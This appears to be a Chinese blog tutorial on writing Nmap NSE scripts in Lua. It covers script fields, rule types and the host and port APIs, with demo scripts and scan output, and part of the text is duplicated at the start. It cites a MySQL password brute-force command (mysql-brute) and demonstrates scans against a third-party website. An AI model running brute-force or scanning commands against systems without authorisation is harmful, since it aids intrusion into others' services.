local shortport = require "shortport"

description = [[test api]]

author = "reborn"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"default"}
portrule = function( host, port )
    return true
end

action = function(host, port)
    return port.number
end

扫描命令:nmap www.baidu.com --script my-api-test

PORT    STATE SERVICE
80/tcp  open  http
|_my-api-test: 80
443/tcp open  https
|_my-api-test: 443

2. port.protocol

PORT    STATE SERVICE
80/tcp  open  http
|_my-api-test: tcp
443/tcp open  https
|_my-api-test: tcp

3. port.service

PORT    STATE SERVICE
80/tcp  open  http
|_my-api-test: http
443/tcp open  https
|_my-api-test: https

4. port.version

PORT    STATE SERVICE
80/tcp  open  http
| my-api-test:
|   name_confidence: 3.0
|   service_tunnel: none
|   name: http
|   service_dtype: table
|_  cpe:
443/tcp open  https
| my-api-test:
|   name_confidence: 3.0
|   service_tunnel: none
|   name: https
|   service_dtype: table
|_  cpe:

5.port.state

PORT    STATE SERVICE
80/tcp  open  http
|_my-api-test: open
443/tcp open  https
|_my-api-test: open

0×04 小结

内容太多篇幅限制原因,本篇就介绍到NSE如何调用API这里,我们下期见吧。未来几期将会向大家介绍的文章主题如下:

  • NSE的异常处理
  • Nmap中的库文件和编写方式
  • 利用Nmap自有库文件实现将扫描结果保存在数据库
  • NSE漏洞审计和渗透脚本的demo
  • NSE的并发处理
  •                                                  qrcode_for_gh_223e082fe8a7_344.jpg

Nmap是学习网络安全必备的一款工具,有着强大的信息收集能力,有本书甚至因此称它为“诸神之眼” 。Nmap不仅仅是一个端口扫描器那么简单,它还有着一个强大的脚本引擎(NSE)可以通过编程来实现定制化。

0×01 关于Nmap中NSE的使用姿势

斗哥目前使用的 nmap 7.40这个版本中就内置有500多个官方编写的NSE脚本。下面是window上nmap的安装目录:

安装目录.png

其中,scripts目录存放着NSE脚本,而nselib目录存放各种库文件,通常使用--script来指定要使用的nmap脚本。

比如:使用mysql-brute.nse这个脚本对目标地址进行mysql的口令爆破。命令:nmap --script=mysql-brute <target>

在Nmap的官方说明文档https://nmap.org/nsedoc/中有NSE脚本和库文件的详细使用说明。

使用说明.png

0×02 NSE编写demo文件

LUA语言基础

打开任何一个NSE脚本或者是库文件,里面的代码功能通常由lua语言来实现。因此想要写自己的脚本或者库,前提是有一定的lua语言基础。lua是一个轻量化的脚本语言,有编程基础的同学学lua应该会比较轻松,在菜鸟教程花个把小时学习lua语言的基本使用,已经足够明白本篇的编程内容了。

编程.png

NSE脚本基本格式

一个完整的NSE脚本通常都有这么几个部分的代码字段:

  • description 字段:本脚本的说明介绍。
  • categories 字段:本脚本的分类。Nmap执行脚本除了指定单个脚本外,还可以指定某一类脚本,比如default类,我们没有使用--script参数时,默认会加载这一类的脚本。
  • rule 字段:本脚本的执行规则,也即触发脚本执行的条件会在rule字段定义。一般执行规则是一个lua函数,返回值只有true和false两种。
  • action字段:脚本执行的具体内容。rule字段返回true时会执行action字段定义的函数。
local shortport = require "shortport"
description = [[a demo nse file]]
author = "reborn"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"default"}

portrule = function( host, port )
    return true
end

action = function(host, port)

end

NSE脚本的规则你可以发现上述rule字段是portrule,NSE脚本的执行规则是和nmap的扫描相结合的,两者执行的先后顺序目前有如下4种。

  • prerule():规则早于nmap的扫描,执行的顺序是先执行脚本,后nmap扫描。
  • hostrule():nmap完成了主机发现之后运行脚本。
  • portrule():nmap执行了端口扫描后运行脚本。
  • postrule():nmap完成所有的扫描后才执行脚本。

编写简单的NSE脚本

如:编写一个简单的脚本来探测目标是否开放了80端口,并且这个端口运行的是HTTP服务,如果是nmap输出“This is a WebServer”。那么在前面脚本demo代码的基础上,我们只需修改portrule函数的代码和让action函数来输出。代码逻辑先portrule判断条件是否成立:“目标是否开放了80端口,服务是否是HTTP”,是返回true不是返回false,代码实现:

portrule = function(host,port)
    return port.protocol == "tcp" and port.number == 80 and port.service =="http" and port.state =="open"
end

如果返回true:执行action,输出“This is a WebServer”:

action = function(host, port)
return "This is a WebServer"
end

完整的代码:

local shortport = require "shortport"
description = [[a http service detect test demo]]

author = "reborn"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"default"}

portrule = function(host,port)
    return port.protocol == "tcp" and port.number == 80 and port.service =="http" and port.state =="open"
end

action = function(host, port)
return "This is a WebServer"
end

将上述代码命名为http-detect-test.nse保存在scripts目录下,然后执行nmap --script-updatedb更新nse脚本。

脚本.png

接着在nmap中执行http-detect-test.nse这个脚本:nmap -p 80 10.10.10.39 --script http-detect-test

test.png

另外,如果执行过程,脚本有错误,可以在nmap命令中加入-d来获得调试中的数据。

0×03 NSE中的API

你可能会对上面脚本中portrule规则判断扫描结果的代码心存疑惑,实际上那个位置调用了nmap扫描结果的API。

Nmap中的API的核心功能就是向脚本提供关于主机和端口的信息,例如名字解析、主机和端口的状态、服务发现等内容。此处介绍一部分常用的的API调用和代码demo供给大家参考使用。

两个Lua table 类型的参数

  • host table
  • port table

host table

1. host.os

获取nmap扫描到的操作系统信息。

  • vendor 供应商
  • osfamily 所属系列
  • osgen 具体型号
  • type 设备类型
  • CPE
local shortport = require "shortport"

description = [[test api]]

author = "reborn"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"default"}

hostrule = function( host, port )
    return true
end

action = function(host, port)
    return host.os
end

扫描命令:nmap -O 10.10.10.39 --script my-api-test

Host script results:
| my-api-test:
|
|     name: Linux 2.6.13 - 2.6.32
|     classes:
|
|         type: general purpose
|         vendor: Linux
|         osgen: 2.6.X
|         osfamily: Linux
|         cpe:
|_          cpe:/o:linux:linux_kernel:2.6

2. host.ip

host.os那段脚本的第14行改为return host.ip

扫描命令:nmap www.baidu.com --script my-api-test

Host script results:
|_my-api-test: 14.215.177.38

3.host.name

host.os那段脚本的第14行改为return host.name

扫描命令:nmap www.baidu.com --script my-api-test

Host script results:
|_my-api-test: 14.215.177.38

4.host.targetname

目标主机在命令行的名字。

5.host.directly_connected

表示目标计算机是否与我们同在一个子网。

6.host.name

host.os那段脚本的第14行改为return host.mac_addr

扫描命令:nmap 10.10.10.39 --script my-api-test 必须是同一子网的设备这个命令才有效。

Host script results:
|_my-api-test: \x00\x0C)f\xF4\xDF

7.host.traceroute

host.os那段脚本的第14行改为return host.traceroute

扫描命令:nmap --traceroute www.baidu.com --script my-api-test

Host script results:
| my-api-test:
|
|     times:
|       srtt: 0.002
|     ip: 192.168.1.1
|
|     times:
|       srtt: 0.004
|     ip: 192.168.12.1
|
|     times:
|       srtt: 0.002
|     ip: 192.168.200.1
|
|     name: 78.228.84.110.broad.fz.fj.dynamic.163data.com.cn
|     ip: 110.84.228.78
|     times:
|       srtt: 0.002
|
|     times:
|       srtt: 0.017
|     ip: 113.96.4.70
|
|     times:
|       srtt: 0.017
|_    ip: 14.215.177.39

port table

1. port.number

local shortport = require "shortport"

description = [[test api]]

author = "reborn"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"default"}
portrule = function( host, port )
    return true
end

action = function(host, port)
    return port.number
end

扫描命令:nmap www.baidu.com --script my-api-test

PORT    STATE SERVICE
80/tcp  open  http
|_my-api-test: 80
443/tcp open  https
|_my-api-test: 443

2. port.protocol

PORT    STATE SERVICE
80/tcp  open  http
|_my-api-test: tcp
443/tcp open  https
|_my-api-test: tcp

3. port.service

PORT    STATE SERVICE
80/tcp  open  http
|_my-api-test: http
443/tcp open  https
|_my-api-test: https

4. port.version

PORT    STATE SERVICE
80/tcp  open  http
| my-api-test:
|   name_confidence: 3.0
|   service_tunnel: none
|   name: http
|   service_dtype: table
|_  cpe:
443/tcp open  https
| my-api-test:
|   name_confidence: 3.0
|   service_tunnel: none
|   name: https
|   service_dtype: table
|_  cpe:

5.port.state

PORT    STATE SERVICE
80/tcp  open  http
|_my-api-test: open
443/tcp open  https
|_my-api-test: open

0×04 小结

内容太多篇幅限制原因,本篇就介绍到NSE如何调用API这里,我们下期见吧。未来几期将会向大家介绍的文章主题如下:

  • NSE的异常处理
  • Nmap中的库文件和编写方式
  • 利用Nmap自有库文件实现将扫描结果保存在数据库
  • NSE漏洞审计和渗透脚本的demo
  • NSE的并发处理
  •                                                  qrcode_for_gh_223e082fe8a7_344.jpg